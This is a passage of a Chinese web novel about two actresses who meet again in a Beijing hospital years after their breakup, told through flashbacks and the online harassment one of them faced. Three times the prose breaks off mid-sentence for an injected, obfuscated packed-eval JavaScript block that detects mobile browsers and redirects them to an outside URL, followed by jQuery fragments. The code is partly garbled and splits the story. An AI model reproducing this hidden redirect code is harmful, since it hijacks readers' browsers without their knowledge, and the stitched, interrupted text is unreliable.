陈樾天天戴一副墨绿厚板材的扁圆眼镜,一晒太阳皮肤就发红,但每次路过旧货市场,都会在烈日下逗留,花心思给迟小满淘上些稀奇古怪的东西。
而迟小满整天素面朝天去跑组,一到阴雨天就长湿疹,也总是担心身体不好总在半夜里咳嗽的陈樾沾上厨房呛人烟火气,每次炒菜都把陈樾推出去,却也每次下面都要偷着给她多卧个鸡蛋。
她们当时不问将来,义无反顾相爱,后来又不得不走向分手的结局。
甚至……
还算是两次。
3. 「二零二三」
和陈樾到底有多久没有交集了?
迟小满记不太清。
但她记得。
她和陈樾分开九年,在这个圈子里本来有多次碰面机会。
但每次她都想尽办法躲掉,尽量不和陈樾出现在同一个场合。
原本她和陈樾路线不同,再加上陈樾也是个格外低调的性子,她们能碰见的公开场合其实并不多。
印象深的就是上次,她们凑巧碰上同一场颁奖礼。
迟小满想着至少得为那次发微博的事情给陈樾道个歉,便花了好几天时间提前做准备——不仅是时间协调上的准备,还有心理准备。
谁知那天,白天商务拍摄时间因为摄影师迟到而推迟,等她紧张兮兮地拖着礼服赶去现场,就听见那边陈樾领完奖赶去尼泊尔当志愿者的消息。
后来,陈樾这一去就是好几年没出现。
再有动静。
就是带着刚拿金像奖最佳女主的电影《周云的云》。
也再次。
和迟小满这堆破事再次撞了个满怀。
或许是一个活生生的人出现所带来的真实感,比一场夏夜暴雨,以及一场七八年前的老电影要强得多。
看着陈樾的脸在昏暗病房里变近,一点点变得清晰,那短暂而漫长的一秒钟,很多碎片被突兀地塞进迟小满的脑子里——
二零一四年,夏,最后一次分手已经是在香港,临走之前,她还是给女人下一碗卧鸡蛋的挂面。而陈樾盯着这次依然卧了两个鸡蛋的挂面,对她说,
“迟小满,祝你前程似锦。”
二零一三年,夏,车灯弥漫进车库,攒钱买来看电影的投影仪在旧得发黄的墙面上发着蓝光,她们看最新一届金像影后的获奖电影。
迟小满突发奇想,拿起投影仪遥控器当话筒,凑到陈樾下巴上,问她,影后,请问以后你的获奖感言里会不会有我?
陈樾用柔软手指刮她鼻尖,笑眯眯地对她说,那得看你到时候的表现了,大明星。
不到十五平米的地下室潮湿昏暗,永远晒不到阳光。
像这样的梦。
她们一起做过不知道多少次。
二零二三年。
北京医院顶层的VIP病房,等天一亮就是阳光普照。
电视机里的电影不知何时播映完毕。
陈樾在床尾的位置站定,和迟小满不近不远地对望,遥遥对她说,
“我来探病。”
迟小满发愣。
或许是脑子里奔涌出来的碎片太多,像被切断的画片,一片片划过神经末梢。她看着近在咫尺的陈樾,差点就要脱口而出——探我?
但陈樾大概是不想她误会。
率先开口解释,
“我朋友出了点事,在这个医院休养。”
迟小满把话吞了回去。
关于和陈樾再次面对面地交谈,这样的画面她设想过无数次。
但从没想过,会是她像一条被抽掉脊骨的鱼那样狼狈躺在病床上。
而陈樾站在床尾望她,脸上的表情看不清是怜惜还是疏离。
一时之间迟小满没缓过来。
她想要从床上撑坐起来,起码不要让陈樾一直用这种模糊不清的眼神看她。
但她这伤并不小。
人慌乱了也总会闹出点事。
手上刚用力,脖子上就传来一阵像针扎那般的刺痛。
迟小满瞬间疼得倒吸口凉气。
那边陈樾快速走过来,
“你没事吧——”
她似乎是想要伸手过来扶她。
但那时。
迟小满自己已经强撑着在床头坐稳。
“我没事。”她吃力靠在床头。这是这么多年来,她对陈樾说的第一句话。
意识到这么多年过去,她们中间存着的隔阂太多,而这可能是在那些她故意蹭热度,在陈樾两次拿影后里都给她闹出麻烦事的事情里,唯一一次她表现良好的机会。
于是在这之后,她努力朝陈樾笑了笑,
“就是没想到你还会上来看我。”
陈樾伸出来的手还悬在半空。
她停了一会,手指慢慢蜷缩回去,手也带回去,慢慢垂到腰边。
她停了一会。
大概是意识到自己整个影子都笼罩在迟小满上半身,便挪开了些。
“都在电梯里碰见了。”
陈樾退后两步,像刚刚一样在床尾望她,语速很慢。
又轻轻笑了笑,
“都不上来看看,好像也不太对。”
陈樾就是这样一个人。
待人宽容,做事成熟,有分寸感,在场的时候总是让人如沐春风。
就连偶然碰上旧情人迟小满,总是抢她风头、也总是给她惹麻烦的迟小满,说的第一句话也不是怨怼和责怪。
“我……”
而迟小满躺在病床上的姿势显然不适用于重逢,她窘迫躺卧,斜仰着头,努力睁大眼睛,想看清陈樾的表情,却发现自己既无法躲避陈樾关切的视线,也无法分辨得清——
在这个时候,她最想对陈樾说的,是上次颁奖典礼没来得及说上的“对不起”,还是刚刚在电梯里没找准机会去说的“谢谢”。
沉默中很多话堵在喉咙里。
她感觉到眼圈发热,手忙脚乱间十分苍白地说了句,
“头发是发型师剪的。”
“你要我把她的名片推给你吗?”
陈樾愣了一下。
话说出口,迟小满自己也惊惧。
想说的那么多,怎么偏偏就挑了这句?显得她还是当年二十出头那个没头没脑的,这么多年也没什么变化。
可话已出口。
再说什么于事无补。
迟小满局促揉紧早已发皱的床单。她不是个话少的人,这么多年在圈子里来来往往,也早就学会那些人情练达。
可这一切到了陈樾面前,怎么又都不作数了。
懊恼间想要再开口找补的时候——
陈樾笑了。
她的笑声轻轻柔柔的。
像水流过,不疾不徐,似乎和从前相比没有什么变化。
笑完了。
她对她说,
“迟小满,你怎么还是没有变?”
听不出是赞扬还是客套。
迟小满沉默,觉得自己应该否认,但她不讲话,也不敢肆无忌惮地将目光落到陈樾脸上,去仔细观察这么多年这个女人的变化。
尽管上次颁奖礼,北京大堵车,为了能大大方方给出那声“道歉”,急得下车礼服外面套着卫衣口罩,在冬夜如刀子般的冷风中跑了两公里路……
最后蹲在路边冻得脸通红,得到陈樾出国消息的那个人,也是她。
可现在真见到陈樾活生生站在面前,迟小满反而神思恍惚,什么都不敢说。
她不讲话。
陈樾也没继续说。
她们分开九年。
时间已经比在一起多好几倍。
中间隔着那么多物是人非,谁也都不再熟悉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506936|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彼此。
客客气气道完问候,也就再无话可说。
“既然你没什么事,那我走了?”寂静对峙中陈樾先开了口。
“……好。”
迟小满目光下落。
对上陈樾灯影下的眼睛。
又迅速往上移,盯了会天花板,无比艰难地说了句,
“路上小心。”
话落。刺痛感又从颈部传来,像很多根针扎入骨血。
她下意识补了句,
“别像我一样撞车了。”
用的是开玩笑的语气。
因为想在陈樾面前展现自己的游刃有余。
“好。”
陈樾应下。
也没因为她的幼稚再说什么。
于是迟小满突然想到——陈樾进来起连坐都没坐下,应该也是料定了不会在病房多待。
陈樾提起步子。
迟小满盯着天花板不讲话。
陈樾突然停步。
迟小满没去看她。
陈樾转了方向,她似乎是朝迟小满这边走过来。
一步,两步。
停在比刚刚更近的位置。
迟小满躺在病床上。
感觉到自己再次被女人的影子笼罩住,便努力对着突然走近的陈樾笑了笑,
“怎么了?”
陈樾低头看她一会。
目光在昏暗中显得很模糊,
“你是不是很痛?”
声音很低,“出这么多汗?”
迟小满愣住。
像是为了印证陈樾的话。
一颗汗珠从她眉尾滑落到眼梢,刺得她眼尾发痛,渐渐泛红。
她费力眨了眨眼睛缓解。
再次掀开眼皮。
便看见陈樾抬起的手悬在半空——
眨眼的动作缓缓停下,咸涩汗珠从眼角滑落,沁到嘴角。
迟小满看着陈樾近在咫尺的脸。
觉得心悸,下意识躲开陈樾那双总是柔情似水的眼睛,也再次开口,
“时间很晚了,你还是早点下去看你朋友吧。”
陈樾笑,“好。”
她收回手。
在旁边抽了张纸给她,说,“擦擦吧,汗水流进眼睛里会很不舒服。”
“痛的话记得叫医生。”
“不要忌讳吃药,也不要忍痛。”
她柔着声音,这样对迟小满说。
然后也真的转了身。
迟小满攥着陈樾送过来的纸巾,听着陈樾的脚步声渐行渐远。
是在陈樾快要踏出病房门之前,在迟小满意识到之前,她的目光就已经落到陈樾的背影上。然后她听到她自己的声音出现,对陈樾说,
“恭喜啊。”
陈樾回头望她,“恭喜什么?”
迟小满也望她,或许是距离原因,她没像之前那样产生太多心悸。
而是变成又平日里那个能说会道的自己,对着陈樾笑,
“影后。”
陈樾停了会。
也对她笑,“那我是不是也要说声恭喜?”
“恭喜我?”
迟小满觉得意外,也觉得好笑,“我现在有什么值得恭喜的?”
“不是要拍电影了吗?”陈樾说。
也站在病房门口看她很久。
久到迟小满恍惚间误以为陈樾不是在看现在的自己,而是在看一个从前闪闪发光的人。
然后听见陈樾再次轻声喊她,
“大明星。”
4. 「二零二三」
印象中迟小满没有这么不爱说话。
二十出头的迟小满像是心头间烧着团永远不灭的火,天马行空爱做梦,整天风风火火叽叽喳喳个没完,像只什么都不怕的雏鸟,做事十分大胆。
可今天晚上,时隔多年未见面。
陈樾进她病房。
她基本有一大半时间都在昏睡。
没有像以前一样,即使是在睡梦中也第一时间发现陈樾在她身边,然后迷迷糊糊地半睁着眼过来亲她,一旦发现她身上是湿的,就会立马风风火火地拉着她起来,跑出去把房东偷摸拉下来的电闸推开,再回来拿着吹风给她吹干,吹透。
但今天。就算是在她醒来的十几分钟时间里,她和陈樾说的话不过寥寥几语,大多也都是她问她答,要么就是催她早点下去的客气话。
可能是因为受伤精力不济。
也可能是,她已经没有那么多话可以和陈樾讲。
不像二十岁的迟小满,连今天剧组盒饭里有几块肉,都要一粒一粒挑出来,整整齐齐摆在盒饭盖子上,数好有几粒给陈樾说。
因为那个时候还没用得起随拍随发的智能手机,便用自己半智能的按键机拍很多像素模糊的照片,留到晚上给陈樾看自己今天吃得有多好。
还会在晚上骑电瓶接她回家的时候,冲着夜风叽叽喳喳大喊今天那几块肉其实很咸,还有那个坏群头偷偷拿盒饭去卖给不懂的新群演被她一脚蹬破……
也不知道这些话,都被现在的迟小满留给谁去讲。
或者是干脆不讲。
比起不讲,陈樾更宁愿是前者。
从病房出来。
陈樾接到助理小棋打过来的电话,“姐,你在哪儿呢?我过来接你。”
“我在住院部,马上下来。”
陈樾路过走廊长窗,瞥见外面的天刚亮不久,语气里便带上歉意,
“实在不好意思,还让你这么早找车过来接我。”
“嘿,瞧你这说的。”
小棋是个伶俐的性子,年轻,语速快,“这不本来就我工作吗?”
“而且谁敢让我们金像影后刚天亮就跑郊区打车啊?”
“这个时间点车打不打得到都另说了,万一要被人拐了去我找哪要人啊?”
她语气里带了明显的高兴气。
这次拿了影后,高兴的不只是陈樾自己。
出道这么多年,她不喜出席公开活动,也基本不上综艺,除了有电影要上的时候,基本就是个失踪人口,定位也不是个有“星味”的。
几年来,也就这两次拿影后,她身边这些人才跟着热闹一阵。
况且这次电影定位不算商业片,票房却在这十多年出的文艺片里算是出奇的高,也算是给人人喊打的文艺片争了口气。现在她知名度因为这次拿奖打开不少,团队自然也一块跟着她高兴。
“行了,别嘚瑟。”
陈樾算是个处事小心的性子,但也不是非得在这时候灭自己人威风,便只是无奈地笑了一下,“小心开车吧。”
“行。”小棋一口答应,“听金像影后的。”
车开到负一楼停车场。
上车之前。
陈樾看到小棋把窗户降下来。
便又特意停下来,在窗边温着声音说了句,“辛苦你了。”
“没有的事,自己人客气啥?”小棋眼睛挺尖,“哎,姐你这衣服怎么淋湿了?”
“从机场过来的时候下了场雨。”
陈樾上了车。
有些疲惫地靠在后座,“可能是那个时候淋湿了吧。”
“那赶紧擦擦。”
小棋给她找了条毛巾过来,“我们金像影后可不能感冒。”
第三遍了。
陈樾接过毛巾,目光含笑地看着小棋。
“行。”小棋在嘴边做了个拉拉链的动作,“不说了。”
陈樾“嗯”了声。
拿着毛巾擦了擦肩后濡湿的那块。
又柔着声音说,
“我也不是责怪你的意思,只是说多了总有不小心的时候。”
“我们在这个圈子里,做事都得小心些。”
“知道了,姐。”小棋老实应下。
她知道陈樾一向是个谨慎低调的性子,虽说平时相处起来总是笑眯眯的吧,可这人原则性还挺强,真要严肃起来,也怪吓人。
不过就这么做事周全一人。
竟然连夜从庆功宴现场跑了,这倒还真是个怪事。
看小棋是把话听进去的样子,陈樾也没说更多。
车慢慢开起来。
她把擦完被濡湿的毛巾叠起来。
放在一旁。
靠在车背,阖了一会眼。
又在疲倦中睁眼,打开手机。
消息很多。
从昨天夜里开始就没停过。
有恭喜,也有关心。
大部分都是经纪人沈茵发过来的,还有部分是导演、编剧,和剧组几个说得上话的同事。
昨天夜里,庆功宴刚开始。
陈樾拿起手机看了眼就往外跑。
还让这次请假回北京休息的助理小棋,帮她订了张最快到北京的机票。
这的确不像是她会做出来的事。
也正因为不像。
这么一跑,庆功宴在场不少人没忙着说她扫兴,都过来关心她,问她是不是出了什么事。还有的直接发来联系方式,说已经帮她找了人,要真是大事,万一北京这边要找人帮忙可以直接联系。
当然,这也是平时陈樾在剧组事事配合,有忙必帮的结果。
虽说那些消息热热闹闹,但陈樾也清楚——在这个圈子,无论是受了恩,还是受了仇,都是要还的。
这些消息她之前没顾得上回。
现在得了空。
陈樾纵然舟车劳顿,疲倦不堪,也是忍着倦意,一一回复这些关心,问候……
也在剧组群里发了个大红包。
和一条长文字,为自己的提前离席道歉。
庆功宴大概也是忙了几轮。群里还有人在线,见她总算出现,便连忙问了句:
【出什么事了陈老师?头一次见你这么着急忙慌的。】
出什么事了?
陈樾盯着这行文字。
想起自己几个小时前看到的那段视频。
手心捂了捂酸痛的眼睛。
那是一段到现在都挂在热搜上的视频。
镜头摇摇晃晃,担架被血染红。
像素模糊,却依然看得清,躺在上面的女人皮肤惨白,满脸是血,头发上,领口上,手臂上也都是,左手手臂无力垂落在床沿,垂下截细瘦到像是被掰断伞架那般的手腕。
她从镜头前晃了一秒,就跟个断了线的风筝似的,被摇摇晃晃地推出。
也让陈樾从香港飞到北京。
陈樾缓缓松开捂紧眼睛的手心。她靠着车背,对着车窗外陌生街道发了一会怔。
她是有多久没回北京了?
才会对这些地方一点印象也没有。
看了一会。
陈樾倦懒收回目光。
发现群里又多了好几条问候的消息,便在群里回复:
【已经没事了,谢谢大家。】
这条消息一发。
小棋前面放在支架上的手机也响了下。
她瞥了眼屏幕
又从后视镜里过来瞥陈樾。
陈樾放下手机。
靠在车背上时却并不感到轻松。
天刚亮,有的地方还亮着灯,彻夜不眠的霓虹灯。她静静看着这些霓虹灯。
说不清楚自己想起的,是二十出头时和她在霓虹下接吻时总是会突然咯咯笑起来,说觉得自己此时此刻好幸福的迟小满。
还是刚刚躺在病床上,脸色苍白却还要强撑着不让她靠近她的迟小满。
“陈老师”。”出神间小棋的声音突然出现。
“嗯?”
陈樾抽出思绪,笑,“怎么了?”
“你……”
小棋的语气带着几分犹豫和试探,“该不会是过来找迟老师的吧?”
被猜准目的。
陈樾也不恼,又轻轻笑了一下,“怎么会这么觉得?”
“我是刚刚在停车场等你的时候……”小棋大着胆子继续往下说
“在群里看到有人说,迟老师好像也在这个医院。”
“原来这样。”陈樾点点头,柔着声音,“是私人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506937|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
群吧?”
“是。”小棋点头。
她看陈樾面上没有恼怒的表情,便又大着胆子问,
“你该不会是去找迟老师算账吧?”
其实从陈樾说要去医院开始,小棋就猜测到底出了什么事。她跟陈樾已经有几年,很清楚陈樾平时大部分时间在香港,家人在广东,在北京就压根没什么熟识的人。
除了些必要的工作,基本就不会怎么来北京。
到底是谁?到底出了什么事?能让陈樾推了庆功宴连夜飞到北京?
刚开始小棋还以为是出了什么大事。
但刚刚。
她看陈樾出来时脸上的表情,又不太像大事。
左思右想。
又看到说迟小满也在这家医院的消息。
这么一联想。
小棋觉得最有可能的就是陈樾看了热搜,看到自己被编排的那些消息,便终于忍不住要来找迟小满算账。
虽然这也挺不靠谱。
但却是小棋能想到最大的可能性。
只不过。
听到她这么问。
陈樾倒像是没反应过来一样,“算账?算什么账?”
“嗯?”小棋也一愣,
“难道你不是因为你和迟老师电影那个瓜来找她,让她们这边及时把事情说清楚的?”
“我们没聊这件事。”陈樾回答很简洁。
那还能聊什么?
小棋差点脱口而出。
但她看陈樾表情似乎是不太想聊这件事,话到嘴边便换成了,
“那迟老师真要转行拍电影?”
听到小棋这么问。
陈樾不可避免地回忆起刚刚她和迟小满分别时,迟小满脸上的表情——
愣怔,惶然,沉默。
唯独没有否认。
这么多年。
迟小满还是一个样子,什么情绪都摆在脸上,宁愿不说话,也不说谎话。
“不太清楚。”
小棋虽说是个守口如瓶的。但陈樾也没擅自把自己的猜测说出口。
“那就是假的了。”小棋笃定。
“为什么这么说?”
“这不明眼人都能看出来吗?就迟老师这腥风血雨的体质。”
“这电影要真被拍出来,迟老师被嘲的点肯定又多了一个。”
“你不相信她能拍好?”
陈樾这么问。
小棋一怔,“陈老师你相信啊?”
陈樾不讲话,低眼看着手机。
小棋琢磨一会,心想这话陈樾确实不好说,便给了个台阶,
“其实这圈内,哎,别说圈内了吧,就算是你去问那些实打实喜欢迟老师的粉丝,也没有几个能斩钉截铁拍着胸脯说,迟老师肯定能拍出部好片的。”
“再说了,陈老师,我们也是私下里说啊。我觉得你有时候也没必要这么体面。”
“别的不说。”
“就说这两天编你要去拍她电影这营销号,虽说舆论风评暂时都偏向我们这边,现在对我们来说倒无伤大雅,也确实可能和迟老师本人没什么关系。”
“但和她那经纪人肯定脱不了干系。”
陈樾仍然不讲话。忙活了一个晚上,她没有在车上抓紧时间休息,反而是望着车窗外的街景,好像是在努力看些别人都不稀罕得去看的东西。
小棋也不知道她有没有听见。
只是这话开了口。
她想起来自家经纪人嘱咐她的事,便也继续说了下去,
“我也就是一说哈,和迟老师本人无关。”
“就算冲着她那手段高明的经纪人,我们都得离迟老师远点。”
“没什么不相信的。”陈樾突然开口。
“什么?”小棋没反应过来。
静谧车厢里。
陈樾将目光从街景收回。
她好像已经十分疲惫,但还是坚持看向她的眼睛,声音很轻地重复,
“没什么不相信的。”
于是在那个九十秒钟的红灯里,小棋意识到——陈樾是在回答她最开始的那个问题。她好像是真的相信迟小满能拍出好电影。
并且是在这件事爆出来后,唯一一个愿意相信的。
5. 「二零二三」
拿奖第二天,后续工作安排得紧。
经纪人发来消息,说今天已经有好几个采访安排在香港。
陈樾连夜从香港飞过来,只在医院逗留不到一个小时,就需要尽快赶去机场。
这也是她不得不打扰小棋让对方给她安排车的缘由。
时隔那么久回北京,算下来,只待了半天时间不到。
不过也是常态。这些年,每次回北京,陈樾向来步履匆匆,待不了多久。
车上。
陈樾闭了会眼,突然开口,“其实这件事应该也算是我的问题。”
“哎?姐你说什么?”小棋忙着开车,可能没听清。
“没什么。”朝阳升起来,像蜘蛛织的网罩到陈樾脸上。
陈樾轻轻地说,“你专心开车。”
“行。”小棋应下。
陈樾掀开眼皮。
望见那些仿佛被从她记忆中剖除的金黄街道,忽然想起来一件事——
其实《霓虹》的剧本从来都不只迟小满一个人有。
二零一四年。
她们住在幸福路香水巷5号地下车库,对面楼上有个邻居,叫浪浪。
也就是《霓虹》的编剧浪浪。
她把《霓虹》整个本子分成一式两份,分别寄给她们两个。
这么多年陈樾没碰过这个本子。
直到前两天。
她才从一个熟识的制片人那里听说,迟小满打算自己拍电影。
久违地,陈樾想起《霓虹》。
便找了个时间把本子印出来,原本只是打算自己好好看看。
结果刚好碰上金像奖入围,身边跟她的狗仔不少。
那天她拿着剧本下车。
瞥见个闪光灯。
当时没在意。
现在回想起来,那爆料消息能把她们两个扯到一起。
也多半是她那天被拍到出了问题。
想到这里。
陈樾将目光从金灿灿街道上收回,她疲惫间阖了一会眼,再打开手机,热搜上的词条仍旧赫然在目——
#迟小满陈樾
#电影《霓虹》
说来是个稀奇事。
这也是这么久以来,她们的名字少见地并排在一起。
只可惜。
两次都算是个黑热搜。
陈樾怔了一会。
点进词条。
第一条微博还是那个爆料号。现在转发已经超过百万,而下面的评论不堪入目——
【迟小满?拍电影?当导演?哈?疯了吗她?】
【碰瓷金像影后,还要自己当导演?迟小满她也配?】
【我说真的,迟小满你私下里给陈樾赔点钱吧。人两次拿影后本来蛮高兴,现在风头都被你抢了算个什么事?】
【上天保佑,希望人有事。】
……
像这样的评论,这条微博下有无数条,比这更难听的多了去。
陈樾看了一会。
点出微博。
她垂着眼,往下滑了滑,一个竖屏拍摄的手机视频自动播放——
夜里,像素模糊。
迟小满穿灰色卫衣戴兜帽。
脸和头都被盖住,只勉强露了点细瘦苍白的下巴出来。
她在路边上低头,匆匆往前走。
拍视频的人跟在她身后。
声线尖锐。
仿佛紧逼过去,还要活生生往人眼睛里扎的烫刀子——
“迟小满滚出娱乐圈!”
“迟小满你抢角色上瘾了是吧?”
“资源咖!你有本事抢人角色没本事说话?迟小满你没妈是吧!”
这句话出来。
迟小满的步子踉跄了一下。
拍视频的人迅速追上去扯她胳膊,把她扯得差点没能站稳。
但迟小满仍然是躲着镜头,手上也没多敢使力气去甩人,整条手腕都像只被踩瘪的小花儿那样被人死命拽着。
而镜头背后。
传出来的笑声又细又尖,
“说你没妈就高兴了是吧——”
视频结束在这一秒——
视频背后尖锐的笑声。
视频里,迟小满被攥得发红的手背,藏在兜帽阴影下的脸,那段时间瘦得几乎认不出的尖细下巴,从下巴上缓慢滑落下来的,一粒微弱的透明泪水。
视频播放完毕。
又开始从头开始,循环播放。
像素异常模糊,应该是很早期的视频。也看得出那个时候迟小满出道不久,身边没人护着,就这么被人追着谩骂着,堵了一路。
至于原因。陈樾那段时间在香港,也听说了一些。
原本只是个悬疑剧里一开头就死了的角色,戏份不多,也不太重要。
原定演员最开始嫌咖位低没接。
后来。
人选定了名不见经传、刚出道的迟小满。
偏偏剧播后,剧爆了。
这一开头就死的角色也爆了。
迟小满这个名字开始有了些热度,也多了不少人喜欢她,刚开始还夸她,说这新人演员演技不错,以前怎么没发现?
再过了一阵,这角色热度不知怎么超过主演,便有人含糊其辞爆出原定角色是个原本有不少粉丝基础的演员,于是这些声音也就多了出来。
现在亲眼看到这段视频。
陈樾不知道自己是否还有资格,去替迟小满感到委屈,心酸,苦闷,以及难过。
毕竟时间过去这么久,她想要心疼,想要带当时的迟小满离开那条路,离开那个直逼着她眼睛的镜头……
却连这种想法都无法光明正大,更隔着好几年的时差。
况且做这一行这么久,陈樾也不是不明白,这些声音无法避免。
有时来自同行。
有时来自这个圈子里不知道什么时候结交的仇人。
甚至,还有可能是经纪团队自己故意运作的结果。
而更明白的是——
或许现在的迟小满听到这些声音,看到这段视频,会比陈樾更无波澜。
手机锁屏。
映出陈樾看上去很冷静的脸。
她把手机放下。停了好一会,轻声细语发问,
“你今天怎么总是看我?”
车在等红灯,前排的小棋愣了一下,“姐,你不是在看手机吗?这都被你发现了?”
陈樾不讲话。
刚下过暴雨,今天天气好,金灿灿的阳光落下来,她脸上皮肉薄,骨量重,光这么一打下来,就正好顺着她脸部轮廓往下流,红唇肤白,黑长发飘飘,跟拍电影似的。
特别是她现在看起来心情不佳,带点疲惫忧郁的美。
小棋看她,解释,“我就是觉得,你刚刚那话挺酷的。”
“什么话?”陈樾像是没反应过来。
“就那句啊——”
小棋琢磨着陈樾的语气,依葫芦画瓢,
“没什么不相信的。”
陈樾怔住。
“多酷啊。”
红灯停了。
小棋把车开起来,
“尤其是被你一说,简直就跟电影台词似的。”
“是吗?”
陈樾低眼。
风灌进来,她轻轻地说,
“我也是跟别人学的。”
-
【没……】
【没什么……】
病
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506938|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房内,迟小满疼得倒吸一口冷气,却仍旧维持着撑坐在床头的姿势。
把手机靠在自己石膏手上。
相当吃力地仰着头。
眯着眼睛去盯那个小屏幕,然后一个字一个字把那句话完整打完——
【没什么不相信的。】
打完最后一个句号。
她满头大汗。
不得不仰靠在床头休息,缓一缓自己酸痛的眼睛。
一个小时前。
陈樾从病房离开。
迟小满没能再睡着,也因为那热搜心焦得厉害,总是忍不住上去看一眼。
不是她不想解释。而是现在舆论风向难以掌握。她一解释,反而可能又像上次一样把事情闹大。
更何况。
在上次微博事件之后。
她的微博就被团队严格管控着,眼下这种情况,更不可能交到她手里。
她只好用小号去看看情况。
没成想刚上去。
就看见已经有人开始扒陈樾的料。
这个圈子就是这样,人红是非多。
糊的时候,你口碑好,人人都跟风,说你是个好演员。一旦你热度上来了,多的是人想挖你黑料,找不到的甚至编也要给你编点黑料。
而陈樾多年来低调刻苦,平时在圈内存在感不算太强。
现在最容易被盯上的。
就是她去尼泊尔当义工支教的那两年。
于是热搜从昨天夜里上到现在,不到二十四小时,便有人在某平台开了贴,针对这件事,贴了些似是而非的证据,信誓旦旦地说——陈樾这几年根本没去尼泊尔当志愿者。
迟小满找到原贴看了一会。
便抿紧唇,用刚注册的小号,顶着系统自带的灰色头像,用自己的石膏手扶着手机,另一只手慢慢打字,也找陈樾发的那些在尼泊尔的照片里的蛛丝马迹,列出来一条条证据,跟人吵了起来。
开贴人觉得她不可理喻,后来可能是跟她这么个手速慢的一来一回说了几十分钟也累了,便没好气地问她——
【你真信一个明星会愿意去尼泊尔当好几年的义工啊?傻不傻啊?】
【没什么不相信的。】
这是迟小满的答复。
发过去之后。
她在床上屏住呼吸,睁大眼睛,等着那人给她回复。
只是等了会都没动静。
想了想,她从帖子里滑出去。
也没敢点那种明显与她自己有关的小组,半眯着眼睛,小心翼翼地滑了几下,点了个和群演有关的。
里面有人分享整理剧组招人情况,也有人开贴分享自己北漂经历,还有个像是群头的,发了段十几秒的短视频链接。
迟小满好奇点进去。
猝不及防,看到一张她再熟悉不过的脸。
那是段很久远的采访,专门针对前些年在北京北漂的群演和替身。
视频后的人问,“你相信自己能成为一名好演员吗?”
视频里的女孩当时只有十九岁。
还没遇见陈樾,也还没搬进那间四百块一个月的地下车库。
那天她没化妆,不过好在还年轻,皮肤白透干净,就是头发没绑好,显得有点乱糟糟的。
因为当时迟小满是替身,刚替完一场被打的戏,冷水洗了把脸就被拉过来采访。
听到这个问题。
十九岁的迟小满先是愣了一下。
几秒过后。
她冲镜头咧开嘴笑,也用力点头,
“嗯!”
一双眼睛笑成月牙,看起来却并不柔软,有很多倔强,坚信,仿佛笃定未来不会有任何坏事发生,
“没什么不相信的。”
6. 「二零一三」
“没什么不相信的。”
二零一二年夏,迟小满十九岁。
当时,她冲镜头说完这句话,就笑眯眯地给镜头背后的采访记者弯腰鞠躬。
再起身。
她大大方方地跟人说,
“姐姐,你要是有活记得下次还找我!”
再然后,她背着鼓鼓囊囊的包,从角落里勉强撑扶出那辆一百块从师姐手里收的、连后视镜都缺了块的二手电驴,跌跌撞撞地骑着赶回学校去上课。
结果车骑了十米不到。
她想起一事。
便又摇摇摆摆地骑回来,把安全帽上的护目镜往上一推。
下巴一挺。
对愣住的记者姐姐笑嘻嘻地说,
“我叫迟小满。”
“这附近群头都有我联系方式,什么活都可以叫我!”
这块是群演休息地,有熟识她的,听见这话笑出声,
“哟?未来的大明星又在这说大话呢?”
“我记得电瓶都是上礼拜刚学的吧?现在叫你立马演个飙车党能演吗?”
被人当面调侃,迟小满也不恼,“姐姐你别听他们的!”
她把护目镜推下来,“不会我可以学嘛。”
又歪歪扭扭地骑着电瓶往回开,在空中留下风风火火的一句,
“我学东西最快了!”
这是迟小满来北京的第二年。
两年前,她十七岁,带着奶奶王爱梅放在枕头底下皱皱巴巴的两万块存折,和迟国庆在她脸上给的两个巴掌印,还有隔壁李阿姨给她新买的两个红格子款蛇皮袋,坐绿皮火车来北京,念很普通的一所大学,念当时她认为很高级的广告系。
之后两年。
她一边在学院里表演系蹭课。
一边向隔壁编导系借设备拍学院要求的参赛作品和短片。
还一边每天早上五点起来食堂打时薪四块五的工,对着每个来买早饭的同学笑脸相迎,等到十点人少,自己缩在碗柜后面,两三口狼吞虎咽完一个凉掉的包子,再心满意足去上课。
又一边趁课余时间在各大剧组辗转当群演,替身。
因为她没有钱去艺考,却有个不识好歹的明星梦。
遇见陈樾,是在她大学快要毕业的那一年。
二零一三。
北京很热,热到当时不少广播电台都在说——那可能是这个世纪以来最热的一个夏天。可后来,谁都知道那不是北京最热的夏天。
那个夏天。
迟小满打算从学校搬出来,为的是更方便去试镜试戏,也能在剧组里多学点东西。
印象中那一天也很热。
当时迟小满来北京三年。
没资本没人脉。
只在各大剧组辗转,还没演过一个正儿八经的角色。
还在给人当替身。
挨打的替身。
